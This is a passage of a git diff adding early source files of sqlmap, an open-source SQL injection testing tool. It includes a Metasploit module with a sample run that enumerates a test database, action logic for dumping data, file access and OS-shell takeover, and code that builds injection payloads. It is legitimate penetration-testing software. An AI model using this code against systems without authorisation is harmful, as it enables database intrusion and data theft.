for reporting a bug when running on Windows
|
||||
|
||||
Sylphid <sylphid.su@sti.com.tw>
|
||||
for suggesting some features
|
||||
|
||||
|
||||
== Organizations ==
|
||||
|
||||
OWASP Board <http://www.owasp.org>
|
||||
for sponsoring part of the sqlmap development in the context of OWASP
|
||||
Spring of Code 2007
|
74
extra/msfauxmod/README
Normal file
74
extra/msfauxmod/README
Normal file
|
@ -0,0 +1,74 @@
|
|||
To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
|
||||
the example below:
|
||||
|
||||
$ ./msfconsole
|
||||
|
||||
_ _ _ _
|
||||
| | | | (_) |
|
||||
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
|
||||
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
|
||||
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|
||||
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
|
||||
| |
|
||||
|_|
|
||||
|
||||
|
||||
=[ msf v3.2-testing
|
||||
+ -- --=[ 308 exploits - 173 payloads
|
||||
+ -- --=[ 20 encoders - 6 nops
|
||||
=[ 75 aux
|
||||
|
||||
msf > use auxiliary/scanner/http/wmap_sqlmap
|
||||
msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121
|
||||
RHOSTS => 192.168.1.121
|
||||
msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php
|
||||
PATH => /sqlmap/mysql/get_int.php
|
||||
msf auxiliary(wmap_sqlmap) > set QUERY id=1
|
||||
QUERY => id=1
|
||||
msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user'
|
||||
OPTS => --dbs --current-user
|
||||
msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py
|
||||
msf auxiliary(wmap_sqlmap) > show options
|
||||
|
||||
Module options:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BATCH true yes Never ask for user input, use the default behaviour
|
||||
DATA no The data string to be sent through POST
|
||||
METHOD GET yes HTTP Method
|
||||
OPTS --dbs --current-user no The sqlmap options to use
|
||||
PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection
|
||||
Proxies no Use a proxy chain
|
||||
QUERY id=1 no HTTP GET query
|
||||
RHOSTS 192.168.1.121 yes The target address range or CIDR identifier
|
||||
RPORT 80 yes The target port
|
||||
SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path
|
||||
SSL false no Use SSL
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf auxiliary(wmap_sqlmap) > run
|
||||
[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121/sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch
|
||||
SQLMAP:
|
||||
SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
SQLMAP: and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
SQLMAP:
|
||||
SQLMAP: [*] starting at: 01:31:41
|
||||
SQLMAP:
|
||||
SQLMAP: [01:31:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
||||
SQLMAP: back-end DBMS: MySQL >= 5.0.0
|
||||
SQLMAP:
|
||||
SQLMAP: current user: 'testuser@localhost'
|
||||
SQLMAP:
|
||||
SQLMAP: available databases [4]:
|
||||
SQLMAP: [*] information_schema
|
||||
SQLMAP: [*] mysql
|
||||
SQLMAP: [*] privatedb
|
||||
SQLMAP: [*] test
|
||||
SQLMAP:
|
||||
SQLMAP:
|
||||
SQLMAP: [*] shutting down at: 01:31:44
|
||||
SQLMAP:
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(wmap_sqlmap) >
|
90
extra/msfauxmod/wmap_sqlmap.rb
Normal file
90
extra/msfauxmod/wmap_sqlmap.rb
Normal file
|
@ -0,0 +1,90 @@
|
|||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::WMAPScanUniqueQuery
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SQLMAP SQL Injection External Module',
|
||||
'Description' => %q{
|
||||
This module launch a sqlmap session.
|
||||
sqlmap is an automatic SQL injection tool developed in Python.
|
||||
Its goal is to detect and take advantage of SQL injection
|
||||
vulnerabilities on web applications. Once it detects one
|
||||
or more SQL injections on the target host, the user can
|
||||
choose among a variety of options to perform an extensive
|
||||
back-end database management system fingerprint, retrieve
|
||||
DBMS session user and database, enumerate users, password
|
||||
hashes, privileges, databases, dump entire or user
|
||||
specific DBMS tables/columns, run his own SQL SELECT
|
||||
statement, read specific files on the file system and much
|
||||
more.
|
||||
},
|
||||
'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
|
||||
'License' => BSD_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://sqlmap.sourceforge.net'],
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
|
||||
OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]),
|
||||
OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
|
||||
OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]),
|
||||
OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]),
|
||||
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
|
||||
OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", 'true' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Test a single host
|
||||
def run_host(ip)
|
||||
|
||||
sqlmap = datastore['SQLMAP_PATH']
|
||||
|
||||
if not sqlmap
|
||||
print_error("The sqlmap script could not be found")
|
||||
return
|
||||
end
|
||||
|
||||
data = datastore['DATA']
|
||||
method = datastore['METHOD'].upcase
|
||||
|
||||
sqlmap_url = (datastore['SSL'] ? "https" : "http")
|
||||
sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
|
||||
sqlmap_url += "/" + datastore['PATH']
|
||||
|
||||
if method == "GET"
|
||||
sqlmap_url += '?' + datastore['QUERY']
|
||||
end
|
||||
|
||||
cmd = sqlmap + ' -u \'' + sqlmap_url + '\''
|
||||
cmd += ' --method ' + method
|
||||
cmd += ' ' + datastore['OPTS']
|
||||
|
||||
if not data.empty?
|
||||
cmd += ' --data \'' + data + '\''
|
||||
end
|
||||
|
||||
if datastore['BATCH'] == true
|
||||
cmd += ' --batch'
|
||||
end
|
||||
|
||||
print_status("exec: #{cmd}")
|
||||
IO.popen( cmd ) do |io|
|
||||
io.each_line do |line|
|
||||
print_line("SQLMAP: " + line.strip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
25
lib/__init__.py
Normal file
25
lib/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
25
lib/contrib/__init__.py
Normal file
25
lib/contrib/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
97
lib/contrib/multipartpost.py
Normal file
97
lib/contrib/multipartpost.py
Normal file
|
@ -0,0 +1,97 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: multipartpost.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import mimetools
|
||||
import mimetypes
|
||||
import os
|
||||
import stat
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class Callable:
|
||||
def __init__(self, anycallable):
|
||||
self.__call__ = anycallable
|
||||
|
||||
|
||||
# Controls how sequences are uncoded. If true, elements may be given
|
||||
# multiple values by assigning a sequence.
|
||||
doseq = 1
|
||||
|
||||
|
||||
class MultipartPostHandler(urllib2.BaseHandler):
|
||||
handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
|
||||
|
||||
def http_request(self, request):
|
||||
data = request.get_data()
|
||||
if data is not None and type(data) != str:
|
||||
v_files = []
|
||||
v_vars = []
|
||||
try:
|
||||
for(key, value) in data.items():
|
||||
if type(value) == file:
|
||||
v_files.append((key, value))
|
||||
else:
|
||||
v_vars.append((key, value))
|
||||
except TypeError:
|
||||
systype, value, traceback = sys.exc_info()
|
||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||
|
||||
if len(v_files) == 0:
|
||||
data = urllib.urlencode(v_vars, doseq)
|
||||
else:
|
||||
boundary, data = self.multipart_encode(v_vars, v_files)
|
||||
contenttype = 'multipart/form-data; boundary=%s' % boundary
|
||||
#if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
|
||||
# print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
|
||||
request.add_unredirected_header('Content-Type', contenttype)
|
||||
|
||||
request.add_data(data)
|
||||
return request
|
||||
|
||||
|
||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||
if boundary is None:
|
||||
boundary = mimetools.choose_boundary()
|
||||
if buffer is None:
|
||||
buffer = ''
|
||||
for(key, value) in vars:
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||
buffer += '\r\n\r\n' + value + '\r\n'
|
||||
for(key, fd) in files:
|
||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||
filename = fd.name.split('/')[-1]
|
||||
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
||||
buffer += '--%s\r\n' % boundary
|
||||
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
|
||||
buffer += 'Content-Type: %s\r\n' % contenttype
|
||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||
fd.seek(0)
|
||||
buffer += '\r\n' + fd.read() + '\r\n'
|
||||
buffer += '--%s--\r\n\r\n' % boundary
|
||||
return boundary, buffer
|
||||
multipart_encode = Callable(multipart_encode)
|
||||
|
||||
https_request = http_request
|
||||
|
25
lib/controller/__init__.py
Normal file
25
lib/controller/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
126
lib/controller/action.py
Normal file
126
lib/controller/action.py
Normal file
|
@ -0,0 +1,126 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: action.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
|
||||
def action():
|
||||
"""
|
||||
This function exploit the SQL injection on the affected
|
||||
url parameter and extract requested data from the
|
||||
back-end database management system or operating system
|
||||
if possible
|
||||
"""
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
conf.dbmsHandler = setHandler()
|
||||
|
||||
if not conf.dbmsHandler:
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
errMsg += "back-end database management system"
|
||||
|
||||
if htmlParsed:
|
||||
errMsg += ", but from the HTML error page it was "
|
||||
errMsg += "possible to determinate that the "
|
||||
errMsg += "back-end DBMS is %s" % htmlParsed
|
||||
|
||||
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
|
||||
errMsg += ". Do not specify the back-end DBMS manually, "
|
||||
errMsg += "sqlmap will fingerprint the DBMS for you"
|
||||
else:
|
||||
errMsg += ". Support for this DBMS will be implemented if "
|
||||
errMsg += "you ask, just drop us an email"
|
||||
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.unionTest:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
dumper.string("banner", conf.dbmsHandler.getBanner())
|
||||
|
||||
if conf.getCurrentUser:
|
||||
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
|
||||
|
||||
if conf.getCurrentDb:
|
||||
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
|
||||
|
||||
if conf.getUsers:
|
||||
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash")
|
||||
|
||||
if conf.getPrivileges:
|
||||
dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege")
|
||||
|
||||
if conf.getDbs:
|
||||
dumper.lister("available databases", conf.dbmsHandler.getDbs())
|
||||
|
||||
if conf.getTables:
|
||||
dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
|
||||
if conf.getColumns:
|
||||
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
|
||||
|
||||
if conf.dumpTable:
|
||||
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
|
||||
|
||||
if conf.dumpAll:
|
||||
conf.dbmsHandler.dumpAll()
|
||||
|
||||
if conf.query:
|
||||
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
||||
|
||||
if conf.wFile:
|
||||
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
|
||||
|
||||
# Takeover options
|
||||
if conf.osShell:
|
||||
conf.dbmsHandler.osShell()
|
318
lib/controller/checks.py
Normal file
318
lib/controller/checks.py
Normal file
|
@ -0,0 +1,318 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: checks.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.session import setString
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
"""
|
||||
This function checks if the GET, POST, Cookie, User-Agent
|
||||
parameters are affected by a SQL injection vulnerability and
|
||||
identifies the type of SQL injection:
|
||||
|
||||
* Unescaped numeric injection
|
||||
* Single quoted string injection
|
||||
* Double quoted string injection
|
||||
"""
|
||||
|
||||
logMsg = "testing unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming unescaped numeric injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "numeric"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "unescaped numeric injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringsingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE single quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likesingle"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE single quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "stringdouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
logMsg = "testing LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "confirming LIKE double quoted string injection "
|
||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable "
|
||||
logMsg += "with %d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
return "likedouble"
|
||||
|
||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
logMsg += "LIKE double quoted string injectable"
|
||||
logger.info(logMsg)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the url parameter is dynamic. If it is
|
||||
dynamic, the content of the page differs, otherwise the
|
||||
dynamicity might depend on another parameter.
|
||||
"""
|
||||
|
||||
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, str(randInt))
|
||||
dynResult1 = Request.queryPage(payload, place)
|
||||
|
||||
if kb.defaultResult == dynResult1:
|
||||
return False
|
||||
|
||||
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
||||
dynResult2 = Request.queryPage(payload, place)
|
||||
|
||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||
dynResult3 = Request.queryPage(payload, place)
|
||||
|
||||
condition = kb.defaultResult != dynResult2
|
||||
condition |= kb.defaultResult != dynResult3
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkStability():
|
||||
"""
|
||||
This function checks if the URL content is stable requesting the
|
||||
same page three times with a small delay within each request to
|
||||
assume that it is stable.
|
||||
|
||||
In case the content of the page differs when requesting
|
||||
the same page, the dynamicity might depend on other parameters,
|
||||
like for instance string matching (--string).
|
||||
"""
|
||||
|
||||
logMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(logMsg)
|
||||
|
||||
firstResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
secondResult = Request.queryPage()
|
||||
time.sleep(0.5)
|
||||
|
||||
thirdResult = Request.queryPage()
|
||||
|
||||
condition = firstResult == secondResult
|
||||
condition &= secondResult == thirdResult
|
||||
|
||||
return condition
|
||||
|
||||
|
||||
def checkString():
|
||||
if not conf.string:
|
||||
return True
|
||||
|
||||
